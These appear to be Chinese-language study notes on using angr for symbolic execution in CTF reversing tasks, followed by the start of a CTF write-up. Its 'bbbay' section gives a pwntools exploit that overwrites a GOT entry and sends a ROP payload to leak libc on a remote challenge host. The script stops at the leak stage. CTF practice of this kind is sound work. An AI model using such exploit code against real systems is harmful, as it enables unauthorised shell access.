表如果程序到达print_good_address,即代表成功解题,一般题中就是输出flag的地址。

avoid_me_address则用在需要避免到达的地方

②通过打印内容设置

1
2
3
4
5
6
7
8
9
10
11
12
13
def is_successful(state):
stdout_output = state.posix.dumps(sys.stdout.fileno())
if b'Good Job.' in stdout_output:
return True
else:
return False

def should_abort(state):
stdout_output = state.posix.dumps(sys.stdout.fileno())
if b'Try again.' in stdout_output:
return True
else:
return False

当程序中有多个正确输出的时候,获取程序输出,如果输出中包含标志性的符号Good Job,则代表成功到达,或者设置其他的标志性符号。或者当程序中有多个相同的错误输出的时候,获取程序输出,如果输出中包含标志性的符号Try Again,则代表应该需要避免的地方,而不用输入多个地址。

③设置向量

一般而言,可能输入的长度或者字符有些限制,比如scanf的格式化获取输入,这时候我们就可以通过向量生成限制性的输入字符,缩小搜索路径

1
2
3
4
5
import claripy
passwd_size_in_bits = 32
passwd0 = claripy.BVS('passwd0', passwd_size_in_bits)
passwd1 = claripy.BVS('passwd1', passwd_size_in_bits)
passwd2 = claripy.BVS('passwd2', passwd_size_in_bits)

设置了三个向量,长度为32bit

BVS():代表位向量创建

FPS():代表符号向量创建

④设置寄存器

当程序有时候不需要从头开始,而是只测试某个地方或者在某个地方需要更改寄存器时,可以进行设置

1
2
3
4
#initial_state = project.factory.blank_state(addr=start_address)
initial_state.regs.eax = passwd0
initial_state.regs.ebx = passwd1
initial_state.regs.edx = passwd2

⑤设置栈上的数据

A.先设置栈帧指针
1
2
#initial_state = project.factory.blank_state(addr=start_address)
initial_state.regs.ebp = initial_state.regs.esp *#EBP=ESP*
B.观察栈上数据,然后进行设置

比如如下情形,需要0x8的栈空间

那么先将esp放到ebp-0x8的位置

1
2
3
#initial_state = project.factory.blank_state(addr=start_address)
padding_length_in_bytes = 0x08
initial_state.regs.esp -= padding_length_in_bytes

然后设置向量,压入栈中

1
2
3
4
5
6
7
#initial_state = project.factory.blank_state(addr=start_address)
passwd0 = claripy.BVS('var_10', 32) #s1
passwd1 = claripy.BVS('var_C', 32) #s2
#var_10只代表name

initial_state.stack_push(passwd0)
initial_state.stack_push(passwd1)

这样即可完成栈中数据的布置

🔺注:

这里符号化栈上数据时,只能一个一个push,即32位一次push进4字节,64位一次push进8字节,不能多,不然会造成符号截断。这里其实可以直接通过获取rsp,然后利用rsp来加载数据即可。

1
2
3
4
initial_state.regs.rsp = initial_state.regs.rbp
buf_addr = initial_state.regs.rsp - 0x10
passwd0 = claripy.BVS('password', 0x8 * 8)
initial_state.memory.store(buf_addr, passwd0)

⑥符号化内存

寻址需要符号化的内存地址,如下:

image-20211129163056788

即符号化四个八字节长度的user_input

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
passwd_size_in_bits = 64
passwd0 = claripy.BVS('passwd0', passwd_size_in_bits)
passwd1 = claripy.BVS('passwd1', passwd_size_in_bits)
passwd2 = claripy.BVS('passwd2', passwd_size_in_bits)
passwd3 = claripy.BVS('passwd3', passwd_size_in_bits)

#initial_state = project.factory.blank_state(addr=start_address)
passwd0_address = 0xA1BA1C0
#passwd1_address = 0xA1BA1C8
#passwd2_address = 0xA1BA1D0
#passwd3_address = 0xA1BA1D8
initial_state.memory.store(passwd0_address, passwd0)
initial_state.memory.store(passwd0_address + 0x8, passwd1)
initial_state.memory.store(passwd0_address + 0x10, passwd2)
initial_state.memory.store(passwd0_address + 0x18, passwd3)

⑦符号化堆内存

即在buffer0和buffer1中保存的是malloc出来的内存指针

image-20211129164136483

image-20211129164213775

这样我们就可以向这两个buf中写入内存地址,然后把需要符号化的内存写入到对应的内存地址中,这里选取的内存地址设置为

1
2
fake_heap_address0 = 0xffffc93c
fake_heap_address1 = 0xffffc94c

最终如下设置

1
2
3
4
5
6
7
8
9
10
#initial_state = project.factory.blank_state(addr=start_address)
fake_heap_address0 = 0xffffc93c
pointer_to_malloc_memory_address0 = 0xabcc8a4
fake_heap_address1 = 0xffffc94c
pointer_to_malloc_memory_address1 = 0xabcc8ac
initial_state.memory.store(pointer_to_malloc_memory_address0, fake_heap_address0, endness=project.arch.memory_endness)
initial_state.memory.store(pointer_to_malloc_memory_address1, fake_heap_address1, endness=project.arch.memory_endness)

initial_state.memory.store(fake_heap_address0, passwd0)
initial_state.memory.store(fake_heap_address1, passwd1)

⑧符号化文件

1
2
3
4
5
6
7
8
9
10
11
filename = 'OJKSQYDP.txt'
#64个字节
symbolic_file_size_bytes = 64
#创建文件向量
passwd0 = claripy.BVS('password', symbolic_file_size_bytes * 8)
passwd_file = angr.storage.SimFile(filename, content=passwd0, size=symbolic_file_size_bytes)


#initial_state = project.factory.blank_state(addr=start_address)
#将文件向量插入
initial_state.fs.insert(filename, passwd_file)

3.约束比较函数

当在循环里进行比较判断是,会产生很多分支

1
2
3
4
5
6
7
8
9
10
11
12
_BOOL4 __cdecl check(int a1, unsigned int a2)
{
int v3; // [esp+8h] [ebp-8h]
unsigned int i; // [esp+Ch] [ebp-4h]
v3 = 0;
for ( i = 0; i < a2; ++i )
{
if ( *(_BYTE *)(i + a1) == *(_BYTE *)(i + 0x804A040) )
++v3;
}
return v3 == a2;
}

这里的a2=16,即将16个字符都拿出来逐个比较,每次比较产生两个分支,16次比较就会产生2^16=65536个分支,会使得分支变得很大,但是这里其实只是一个比较函数,保证a1代表字符串的内容和0x804A040中保存的字符串内容相等就可以了,这里就可以运行到该函数之前,然后自己获取对应内存中值进行比较,添加限制即可。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
#initial_state = project.factory.blank_state(addr=start_address)

#buff_addr中保存的即为我们运行到比较函数之前得到的字符串,使之与0x804A040中的字符串进行比较
buff_addr = 0x0804A050
address_to_check_constraint = 0x08048565
simulation = project.factory.simgr(initial_state)
#探索路径到进入比较函数之前
simulation.explore(find=address_to_check_constraint)
if simulation.found:
solution_state = simulation.found[0]
constrained_parameter_address = buff_addr
constrained_parameter_size_bytes = 16
constrained_parameter_bitvector = solution_state.memory.load(constrained_parameter_address,constrained_parameter_size_bytes)


#0x804A040中保存的即为"AUPDNNPROEZRJWKB"
constrained_parameter_desired_value = 'AUPDNNPROEZRJWKB'

#比较约束,获得使两值相等的符号量
solution_state.solver.add(constrained_parameter_bitvector == constrained_parameter_desired_value)

#得到最终解
solution0 = solution_state.solver.eval(passwd0,cast_to=bytes)

4.使用HOOK函数

(1)利用地址进行hook

即用自己编写的函数替代程序中的函数来执行,假设这里想hook掉以下函数,该函数即为之前的比较函数check

image-20211129172222733

那么看字节码可知对应的函数为5个字节,地址为0x80486B3

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
check_equals_called_address = 0x80486B3
instruction_to_skip_length = 5

#以下是一个整体
#利用hook函数进行替换
@project.hook(check_equals_called_address, length=instruction_to_skip_length)
def skip_check_equals_(state):
#函数的输入参数
user_input_buffer_address = 0x804A054
user_input_buffer_length = 16
user_input_string = state.memory.load(
user_input_buffer_address,
user_input_buffer_length,
endness=archinfo.Endness.LE
)
#一般都是小端,大端:BE

#需要比较的字符串
check_against_string = 'XKSPZSJKJYQCQXZV'

#设置返回的寄存器,只返回给了eax寄存器,所以只需要设置eax寄存器
register_size_bit = 32
state.regs.eax = claripy.If(
user_input_string == check_against_string,
claripy.BVV(1, register_size_bit),
claripy.BVV(0, register_size_bit)
)

(2)利用函数名进行hook

当函数被调用了多次,而我们又需要对每一个这个函数进行hook时,就可以通过函数名进行hook

1
2
3
4
5
6
7
8
9
10
11
12
13
_BOOL4 __cdecl check_equals_ORSDDWXHZURJRBDH(char *to_check, unsigned int length)
{
int v3; // [esp+8h] [ebp-8h]
unsigned int i; // [esp+Ch] [ebp-4h]

v3 = 0;
for ( i = 0; i < length; ++i )
{
if ( to_check[i] == *(_BYTE *)(i + 0x804C048) )
++v3;
}
return v3 == length;
}

比如替换上述的函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
class ReplacementCheckEquals(angr.SimProcedure):
def run(self, to_check, length):
#第一个参数
user_input_buffer_address = to_check
#第二个参数
user_input_buffer_length = length

#依据参数获取输入的字符串
user_input_string = self.state.memory.load(
user_input_buffer_address,
user_input_buffer_length)

#执行比较功能并返回
check_against_string = 'ORSDDWXHZURJRBDH'
return claripy.If(
user_input_string == check_against_string,
claripy.BVV(1, 32),
claripy.BVV(0, 32))

check_equals_symbol = 'check_equals_ORSDDWXHZURJRBDH'
project.hook_symbol(check_equals_symbol, ReplacementCheckEquals())

主要就是定义一个类,将所有函数名称为check_equals_ORSDDWXHZURJRBDH的函数用类ReplacementCheckEquals中的run函数替换

(3)Hook掉Scanf函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
class ReplacementScanf(angr.SimProcedure):
def run(self, format_string, param0, param1):

#设置要存入对应参数内存中的数据
scanf0 = claripy.BVS('scanf0', 32)
scanf1 = claripy.BVS('scanf1', 32)

#获取需要存入的内存地址,然后以符号向量的形式存储进去
scanf0_address = param0
self.state.memory.store(scanf0_address, scanf0, endness=project.arch.memory_endness)
scanf1_address = param1
self.state.memory.store(scanf1_address, scanf1, endness=project.arch.memory_endness)

#将两个向量数据设置为全局的,方便之后求解打印
self.state.globals['solutions'] = (scanf0, scanf1)
scanf_symbol = '__isoc99_scanf'

project.hook_symbol(scanf_symbol, ReplacementScanf())

(4)Hook静态库函数

当程序使用静态编译时,可能需要Hook一些静态库函数

在探索开始之前添加即可

1
2
3
4
project.hook(0x804ed40, angr.SIM_PROCEDURES['libc']['printf']())
project.hook(0x804ed80, angr.SIM_PROCEDURES['libc']['scanf']())
project.hook(0x804f350, angr.SIM_PROCEDURES['libc']['puts']())
project.hook(0x8048d10, angr.SIM_PROCEDURES['glibc']['__libc_start_main']())

(5)处理函数在外部库so中

当程序对于flag的加解密处理函数在外部库中时,这时候可以直接调用外部库中的函数进行符号执行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
#因为库函数动态加载,所以需要指定偏移
base = 0x4000000
project = angr.Project(path_to_binary, load_options={
'main_opts' : {'custom_base_addr' : base}
})

#为输入参数创建内存向量的地址
buffer_pointer = claripy.BVV(0x3000000, 32)

#设置需要调用的函数地址
validate_function_address = base + 0x6d7
#设置状态,调用函数
initial_state = project.factory.call_state(validate_function_address, buffer_pointer, claripy.BVV(8, 32))

#装载内存向量进入地址指针中
password = claripy.BVS('password', 8*8)
initial_state.memory.store(buffer_pointer, password)

main_opts为主程序指定加载参数,常用以下参数

  • custom_base_addr —— 使用的基地址
  • custom_entry_point —— 使用的入口点
  • custom_arch —— 使用的处理器体系结构的名字

这样在之后的设置成功地址也需要用到base

1
success_address = base + 0x783

(6)快速hook

1
2
3
4
5
6
7
8
9
10
def hook_Normal(state):
state.regs.rax = 8
p.hook(0x40168e, hook_Normal, length=5)

#或者
p.hook_symbol('ptrace', angr.SIM_PROCEDURES['stubs']['ReturnUnconstrained'](return_value=0))

#直接pass
def patch_0(state):
pass

5.开始探索

1
simulation.explore(find=is_successful, avoid=should_abort)

simulation.explore表开始探索,试图进入到print_good_address

▲veritesting模式

该模式可以对路径爆炸进行一些解决

https://www.anquanke.com/post/id/251984

但是在需要探索所有路径的时候,veritesting会出错,将一些路径合并,从而无法抵达正确的deadend路径,详见csaw_wyvern/wyvern

1
simulation = project.factory.simgr(initial_state, veritesting=True)

6.输出答案

(1)符号输出

1
2
3
4
5
6
if simulation.found:
solution_state = simulation.found[0]
solution = solution_state.posix.dumps(sys.stdin.fileno())
print("[+] Success! Solution is: {}".format(solution.decode("utf-8")))
else:
raise Exception('Could not find the solution')

即获取找到的第一串符号,然后输出

(2)位向量输出

这个一般在最开始使用位向量BVS创建输入的时候使用

1
2
3
4
5
6
7
8
9
10
11
12
13
#passwd0 = claripy.BVS('passwd0', passwd_size_in_bits)
#passwd1 = claripy.BVS('passwd1', passwd_size_in_bits)
#passwd2 = claripy.BVS('passwd2', passwd_size_in_bits)
if simulation.found:
for solution_state in simulation.found:
solution0 = format(solution_state.solver.eval(passwd0), 'x')
solution1 = format(solution_state.solver.eval(passwd1), 'x')
solution2 = format(solution_state.solver.eval(passwd2), 'x')
solution = solution0 + " " + solution1 + " " + solution2
print("[+] Success! Solution is: {}".format(solution))
# print(simgr.found[0].posix.dumps(0))
else:
raise Exception('Could not find the solution')

输出的是十六进制的数字

(3)求解选项

接口 描述
solver.eval(expression) 将会解出一个可行解
solver.eval_one(expression) 将会给出一个表达式的可行解,若有多个可行解,则抛出异常
solver.eval_upto(expression, n) 将会给出最多n个可行解,如果不足n个就给出所有的可行解。
solver.eval_exact(expression, n) 将会给出n个可行解,如果解的个数不等于n个,将会抛出异常。
solver.min(expression) 给出最小可行解
solver.max(expression) 给出最大可行解

二、进阶管理

Stash: active 、deadend 、found等

1.运行方式

基本块的区分通常以callcmp-jz/jmp...ret等为标志。

(1)step()

每次向前运行一个基本块,并返回进行分类

让 stash 中的所有状态都执行一个基本块,默认的 stash 为 active

(2)run()

每次向前运行一个基本块,并返回进行分类

(3)explore()

根据findavoid进行基本块的执行,最后会返回foundavoid状态

2.跨平台使用

(1)ARM

直接对应使用,不用添加其他的什么配置

1
state.regs.r0 = concrete_addr

3.直接使用二进制里的函数

文件在”/home/hacker/Desktop/Reverse/Angr/myTest/callBinaryFunc”

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
#myFunc函数的地址,即函数最开始的汇编代码的地址
myFunc_addr = base + 0x64A
project = angr.Project(path_to_binary, auto_load_libs=True)

#(SimTypeInt(False)表设置参数,传参和返回值的类型设置
prototype = SimTypeFunction((SimTypeInt(False),SimTypeInt(False)),SimTypeInt(False))

myFunc = project.factory.callable(myFunc_addr, cc=project.factory.cc(func_ty=prototype), toc=None, concrete_only=True)

#调用函数
myFunc.perform_call(0,0x100)

#获取最终的状态state,即可从该state中获取返回值和各种寄存器状态
state = myFunc.result_state
print(state.regs.rax)

或者如下:

1
func = project.factory.callable(project.loader.find_symbol('myFunc).rebased_addr)

4.C++库的实现

只能从最开始进行

由于angr是只实现了C库,为了深入C++标准库中,我们需要在设置state时需要使用full_init_state方法,并且设置unicorn引擎

unicorn引擎可能可以加快运行速度,有时候也会放慢速度,就比如在只有一条路径,但是需要添加flag约束的:asisctffinals2015_fake

1
2
3
4
5
initial_state = project.factory.full_init_state(
args=path_to_binary,
add_options=angr.options.unicorn,
stdin=flag,
)

▲注:

这种从最开始执行的方法通常用在路径分支不多的时候,如果比较多就容易路径爆炸。

5.loader 加载模块

将二进制文件加载到虚拟的地址空间

(1)加载二进制选项

在加载二进制文件时可以设置特定的参数,使用 main_optslib_opts 参数进行设置。

  • backend - 指定 backend
  • base_addr - 指定基址
  • entry_point - 指定入口点
  • arch - 指定架构
1
2
>>> angr.Project('examples/fauxware/fauxware', main_opts={'backend': 'blob', 'arch': 'i386'}, lib_opts={'libc.so.6': {'backend': 'elf'}})
<Project examples/fauxware/fauxware>

(2)获取加载对象的信息

1
2
3
4
5
6
7
obj = proj.loader.main_object
obj = proj.loader.all_objects
obj.sections
obj.plt
obj.linked_base
obj.mapped_base
obj.max_addr

(3)符号和重定位信息

①符号对象信息

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
malloc = proj.loader.find_symbol('malloc')
malloc = proj.loader.main_object.get_symbol('malloc')
#之后可以使用malloc这个对象
>>> malloc.
malloc.is_common malloc.is_local malloc.owner_obj malloc.resolvedby
malloc.is_export malloc.is_static malloc.rebased_addr malloc.size
malloc.is_extern malloc.is_weak malloc.relative_addr malloc.subtype
malloc.is_forward malloc.linked_addr malloc.resolve( malloc.type
malloc.is_function malloc.name malloc.resolve_forwarder(
malloc.is_import malloc.owner malloc.resolved

#获取符号对象地址
>>> malloc.rebased_addr
0x10002c0
>>> malloc.linked_addr
0x2c0
>>> malloc.relative_addr
0x2c0

②共享库信息

选项

auto_load_libs 是否自动加载程序的依赖
skip_libs 避免加载的库
except_missing_libs 无法解析共享库时是否抛出异常
force_load_libs 强制加载的库
ld_path 共享库的优先搜索搜寻路径

信息

1
2
3
4
5
6
>>> proj = angr.Project('/bin/true')
>>> proj.loader.shared_objects
OrderedDict([('true', <ELF Object true, maps [0x400000:0x60721f]>), ('libc.so.6', <ELF Object libc-2.27.so, maps [0x1000000:0x13f0adf]>), ('ld-linux-x86-64.so.2', <ELF Object ld-2.27.so, maps [0x2000000:0x222916f]>)])
>>> proj = angr.Project('/bin/true', load_options={"auto_load_libs": False})
>>> proj.loader.shared_objects
OrderedDict([('true', <ELF Object true, maps [0x400000:0x60721f]>)])

③Libc函数信息

1
2
3
4
>>> angr.procedures.libc.malloc
<module 'angr.procedures.libc.malloc' from '/home/angr/angr-dev/angr/angr/procedures/libc/malloc.py'>
>>> angr.SIM_PROCEDURES['libc']['malloc']
<class 'angr.procedures.libc.malloc.malloc'>

6.Hook信息

查看hook相关的信息

1
2
3
4
5
6
7
8
9
10
11
12
>>> stub_func = angr.SIM_PROCEDURES['stubs']['ReturnUnconstrained'] # this is a CLASS
>>> proj.hook(0x10000, stub_func()) # hook with an instance of the class
>>> proj.is_hooked(0x10000) # these functions should be pretty self-explanitory
True
>>> proj.hooked_by(0x10000)
<ReturnUnconstrained>
>>> proj.unhook(0x10000)
>>> @proj.hook(0x20000, length=5)
... def my_hook(state):
... state.regs.rax = 1
>>> proj.is_hooked(0x20000)
True

三、命令行使用angr

1.docker环境

1
sudo docker run -it --rm -v $PWD/myTest:/myTest angr/angr

2.前期准备

(1)进入angr

1
2
3
4
5
6
7
8
import angr
import logging
project = angr.Project("/myTest/callBinaryFunc")
#使用unicorn引擎
initial_state = project.factory.entry_state(add_options=angr.options.unicorn)
logging.getLogger('angr').setLevel(logging.INFO)
#现在就是停在start函数的入口
hex(initial_state.addr)

3.中期调试

(1)中断调试

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import logging
logging.getLogger('angr').setLevel(logging.INFO)
#from pwn import*


def hook(l=None):
if l:
locals().update(l)
import IPython
IPython.embed(banner1='',confirm_exit=False)
exit(0)

#然后在需要中断的地方调用该函数即可
hook(locals())

或者使用ipdb

1
2
3
4
import ipdb

#在需要断点的地方下断点即可
ipdb.set_trace()

使用手册

1
2
3
4
5
6
7
8
9
10
11
12
13
h(help):帮助命令
s(step into):进入函数内部
n(next):执行下一行
b(break): b line_number 打断点
cl(clear): 清除断点
c(continue): 一直执行到断点
r(return): 从当前函数返回
j(jump): j line_number,跳过代码片段,直接执行指定行号所在的代码
l(list): 列出上下文代码
a(argument): 列出传入函数所有的参数值
p/pp: print 和 pretty print 打印出变量值
r(restart): 重启调试器
q(quit): 推出调试,清除所有信息

(2)angr管理器

1
2
3
4
5
6
7
8
#获取路径管理器,从入口开始运行
sm = project.factory.simulation_manager()
sm.run()

#或者如下设置,设置初始状态和入口地址,从该状态开始探索,直到find
initial_state = project.factory.blank_state(addr=start_address)
simulation = project.factory.simgr(initial_state,veritesting=True)
simulation.explore(find=success_address)

以下为运行之后可能的状态路径

image-20211208111243588

image-20211208111727739

然后即可通过状态来查看当前状态的中的各种内存,寄存器等

image-20211208111922248

image-20211208111957281

(3)获取当前块相关信息

1
2
3
#查看block相关信息
block = state.block()
block.capstone.pp()

image-20211207175452322

(4)调试core

一般而言,core可以从gdb中获得,得到当前gdb状态的所有数据,包括加载的libc函数等,我们就可以中获得相关的数据来初始化我们的state

image-20211208155507602

然后就可以对应调试了,设置还是一样的设置,只不过地址直接变成当前的gdb中的地址即可。可以看到所有内存基本一致,只有rbp,rsp等栈指针不太一样,这样比较方便我们来获取数据调试。

image-20211208155814628

(5)继续探索

当使用过的simulation想接着某个状态继续探索时,直接使用以下代码不会成功

1
simulation.explore(find = addr)

这时候需要获取当前simulation的状态state,然后依据该状态state新建一个newSimulation才能继续探索

1
2
3
4
def nextFind(project,state,find=0,avoid=0):
simulation = project.factory.simgr(state,veritesting=True)
simulation.explore(find = find,avoid = avoid)
return simulation

▲TIPS

1
2
3
4
#输入?获取帮助
p.factory.simulation_manager?


1.获取字符串

1
2
3
4
5
6
7
8
#转成byte类型的字符串
#sm = p.factory.simulation_manager()
#sm.step()
#state = sm.active[0]
flag = state.mem[addr].string
flag.concrete

sm.deadended[1].posix.stdout.concretize()

image-20211207180744674

image-20211208111616726

TIPS

1.求值问题

(1)求BVV符号值

1
2
3
4
a = claripy.BVV(0xffffffff, 0x4*8)
s = claripy.Solver()
if(s.eval(a, 0)[0] == 0xffffffff):
print("Get!")

(2)获取内存符号值

1
2
3
4
5
6
7
state = proj.factory.entry_state()
#add rax, qword ptr [rsp + 8]
state.regs.rax += state.mem[state.regs.rsp + 8].uint64_t.resolved

result = simgr.found[0].memory.load(flag_addr, 40)
#or get_byte
simulation.found[0].solver.eval(result.get_bytes(0,0x17),cast_to=bytes)

(3)输入参数的值

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
#set
initial_state = p.factory.entry_state(args=[binary,argv1])
simgr = p.factory.simgr(inital_state,veritesting=True)
found = simgr.found[0]
#get
found.solver.eval(argv1,cast_to=bytes)


#or such as
data = claripy.BVS('data',20*8)
p = angr.Project(path_to_binary, auto_load_libs=True)
inital_state = p.factory.entry_state(stdin=data)
simgr = p.factory.simgr(inital_state,veritesting=True)
#get
print(simgr.found[0].posix.stdin.concretize())

(4)向量连接

claripy.Concat方法用于bitVector的连接

1
2
3
4
5
6
7
flag_chars = claripy.BVS('flag_%d' % 1, 8)
flag = claripy.Concat(flag_chars + claripy.BVV(b'\n'))

#list中的向量
flag_chars = [claripy.BVS('flag_%d' % i, 8) for i in range(28)]
flag = claripy.Concat(*flag_chars + [claripy.BVV(b'\n')])
#之后在state中设置stdin=flag即可从命令行输入多组向量

(5)获取内存进行对比

1
found.add_constraints(found.memory.load(flag_addr, 5) == int(binascii.hexlify(b"ASIS{"), 16))

(6)常见添加flag的约束

当输入某个数字,经过计算打印flag,只有简单几条路径时,就需要对flag进行约束才能正常输出,asisctffinals2015_fake

添加约束的时候,不能使用eval求解,只能使用load

①整个Flag约束

1
2
3
4
5
6
7
8
9
10
11
12
13
#这里即代表flag中应该都是[0~9]或者[a~z][-,_],最后应该以'}'结尾
flag = found.memory.load(flag_addr, 40)
for i in range(5, 5+32):
cond_0 = flag.get_byte(i) >= ord('0')
cond_1 = flag.get_byte(i) <= ord('9')
cond_2 = flag.get_byte(i) >= ord('a')
cond_3 = flag.get_byte(i) <= ord('z')
cond_4 = found.solver.And(cond_0, cond_1)
cond_5 = found.solver.And(cond_2, cond_3)
cond_6 = flag.get_byte(i) == ord('-')
cond_7 = flag.get_byte(i) == ord('_')
found.add_constraints(found.solver.Or(cond_4, cond_5,cond_6,cond_7))
found.add_constraints(flag.get_byte(32+5) == ord('}'))

②向量约束

1
2
for b in arg1.chop(8):
initial_state.add_constraints(b != 0)

③字符约束

1
2
3
4
5
6
7
8
9
10
11
12
13
#可见
for i in range(36):
# We want those flags to be printable characters
state.add_constraints(flag.get_byte(i) >= 0x20)
state.add_constraints(flag.get_byte(i) <= 0x7e)

#Or
for i in range(dataLen):
state.solver.add(
claripy.Or(
*(data.get_byte(i) == x for x in printable)
)
)

④特殊约束

1
2
found.add_constraints(found.memory.load(flag_addr, 5) == int(binascii.hexlify(b"ASIS{"), 16))
found.add_constraints(flag.get_byte(32+5) == ord('}'))

(7)方便的栈数据存取操作

1
2
3
4
5
6
state.regs.rbp = state.regs.rsp
state.mem[state.regs.rbp - 0x74].uint32_t = 0x40
state.mem[state.regs.rbp - 0x70].uint64_t = 0x1000
state.mem[state.regs.rbp - 0x68].uint64_t = 0x1008
state.mem[state.regs.rbp - 0x60].uint64_t = 0x1010
state.mem[state.regs.rbp - 0x58].uint64_t = 0x1018

(8)获取state的输出

1
2
3
4
5
6
7
8
9
10
11
12
#p = angr.Project("/myTest/callBinaryFunc")
#sm = p.factory.simulation_manager()
print(sm.deadended[0].posix.stdout.concretize())


#当需要从多条路径遍历获取flag时
out = b''
for pp in simulation.deadended:
out = pp.posix.dumps(1)
if b'flag{' in out:
final_flag = next(filter(lambda s: b'flag{' in s, out.split()))
print("[+] Success! Solution is: {0}".format(final_flag))

2.无法识别的函数

strtol(),strlen()等一系列的字符串操作

3.末尾加’\x00’问题

有时候会向量设置,最好在末尾加上’\x00’,使得某些情况能够通过。同样的当有canary的时候,没办法从压入canary的地方开始的时候,这时候最好给canary向量化或者给’\x00’截断。sym-write

4.符号写问题

同样的,在很多时候,最好加上{angr.options.SYMBOLIC_WRITE_ADDRESSES}选项,这个其实也不是很清楚,有的题不加也可以,但是有的题不加就不行。

1
state = project.factory.entry_state(add_options={angr.options.SYMBOLIC_WRITE_ADDRESSES})

5.32位问题

x86的32位程序下,参数从栈上取,有时候通常需要设置这个才行的flareon2015_2

1
2
3
4
s.memory.store(s.regs.esp+12, s.solver.BVV(50,8*4))
s.mem[s.regs.esp+8].uint32_t = 0x402159
s.mem[s.regs.esp+4].uint32_t = 0x4010e4
s.mem[s.regs.esp].uint32_t = 0x401064

6.检查问题

正常情况下某个 state 被发现是不可满足条件的,那么state会进行回溯,来确定到底是哪个state不被满足,之后所有的state会被放入到stash中。但是有的时候回溯并不好,会比较不容易出结果,尤其是运算量比较大的时候,这时候就可以添加LAZY_SOLVES,不进行检查,先把所有路径跑完。

总的来说LAZY_SOLVES是在路径爆炸和花费在约束求解上的时间之间的平衡。

同样的,有的版本是默认开启,有的是默认关闭,对应修改即可

1
2
state = p.factory.blank_state(addr=START_ADDR, add_options={angr.options.LAZY_SOLVES})
state = p.factory.blank_state(addr=START_ADDR, remove_options={angr.options.LAZY_SOLVES})

详见题目google2016_unbreakable_1

比较适用于当find路径和avoid路径都比较容易抵达的时候,即某些库函数调用比较少,但是运算量比较庞大的时候,类似如下全是运算的

image-20211210175000853

https://docs.angr.io/appendix/options#option-sets

day1-r1-a-1.pdf (hitcon.org)

https://flagbot.ch/lesson5.pdf

7.执行非.text段代码

正常的angr只能执行.text段的代码,但是有的题会执行非.text段的代码,不过需要在创建Project的时候加入选项support_selfmodifying_code=True,详见题目tumctf2016_zwiebel

1
project = angr.Project("zwiebel", support_selfmodifying_code=True) 

8.指定运行代码块数

设定n,表示从state的状态开始运行3个基本块

1
simulation.run(n=3)

帮助

angr — Analysis and Coordination — angr 9.0.10689 documentation

https://xz.aliyun.com/t/3990

https://www.cnblogs.com/61355ing/p/10523147.html

angr Tutorials EP1 - Reverse Engineering 101 - YouTube

angr

关于Faster的那些事… (myts2.cn)

[原创]符号执行在自动化Pwn中的简单利用-Pwn-看雪论坛-安全社区|安全招聘|bbs.pediy.com

shellphish/driller: Driller: augmenting AFL with symbolic execution! (github.com)

陇原战疫WP

前言

题的质量都挺不错的

一、bbbay

签到题,任意地址写8字节,改___stack_chk_fail函数got表为puts_plt函数,删去canary的保护,然后栈溢出泄露地址返回start重新开始,之后再栈溢出ret2Libc来getshell。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
# -*- coding:UTF-8 -*-

from pwn import *
from LibcSearcher import *

#context.log_level = 'debug'

#context
context.arch = 'amd64'
SigreturnFrame(kernel = 'amd64')

binary = "./pwn1"
#libc.so = "./libc-2.24.so"
#libc.so = ""

sd = lambda s:p.send(s)
sl = lambda s:p.sendline(s)
rc = lambda s:p.recv(s)
ru = lambda s:p.recvuntil(s)
rl = lambda :p.recvline()
sa = lambda a,s:p.sendafter(a,s)
sla = lambda a,s:p.sendlineafter(a,s)
uu32 = lambda data :u32(data.ljust(4, '\0'))
uu64 = lambda data :u64(data.ljust(8, '\0'))
u64Leakbase = lambda offset :u64(ru("\x7f")[-6: ] + '\0\0') - offset
u32Leakbase = lambda offset :u32(ru("\xf7")[-4: ]) - offset
it = lambda :p.interactive()


#libcsearcher use
'''
malloc_hook = main_arena-0x10
obj = LibcSearcher("__malloc_hook", malloc_hook)
obj = LibcSearcher("fgets", 0Xd90)
libc_base = fgets-obj.dump('fgets')
system_addr = libc_base + obj.dump("system") #system
binsh_addr = libc_base + obj.dump("str_bin_sh")
log.info("system_addr:0x%x"%system_addr)
'''

#malloc_hook,main_aren Find
'''
python2 LibcOffset.py libc-2.23.so
'''

#without stripped
'''
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
system_plt = elf.plt['system']
read_plt = elf.plt['read']
main_addr = elf.sym['main']
'''


local = 0
if local:
p = process(binary)
#p = process(['/glibc/2.24/64/lib/ld-linux-x86-64.so.2', './hello'], env={"LD_PRELOAD":"/glibc/2.24/64/lib/libc-2.24.so"})
elf = ELF(binary)
#libc = ELF(libc.so)
else:
p = remote("node4.buuoj.cn",29806)
elf = ELF(binary)
#libc = ELF(libc.so)

def dockerDbg():
myGdb = remote("127.0.0.1",30001)
myGdb.close()
pause()
#b *$rebase(0xdbd)

def func1(size,con):
sla("your choice\n",str(1))
sla("size:\n",str(size))
sa("content:\n",con)

def func0(addr,con):
sla("your choice\n",str(0))
sla("address:\n",addr)
sa("content:\n",con)

puts_got = 0x601018
puts_plt = 0x4005F0
__stack_chk_fail_got = 0x601020
pop_rdi_ret = 0x0000000000400a03
ret = pop_rdi_ret + 1
start_addr = 0x400670

payload = ""
payload += "A"*(0x110+0x8)
payload += p64(pop_rdi_ret)
payload += p64(puts_got)
payload += p64(puts_plt)
payload += p64(start_addr)


func0(str(__stack_chk_fail_got),p64(puts_plt))

func1(len(payload),payload)
sl("2")
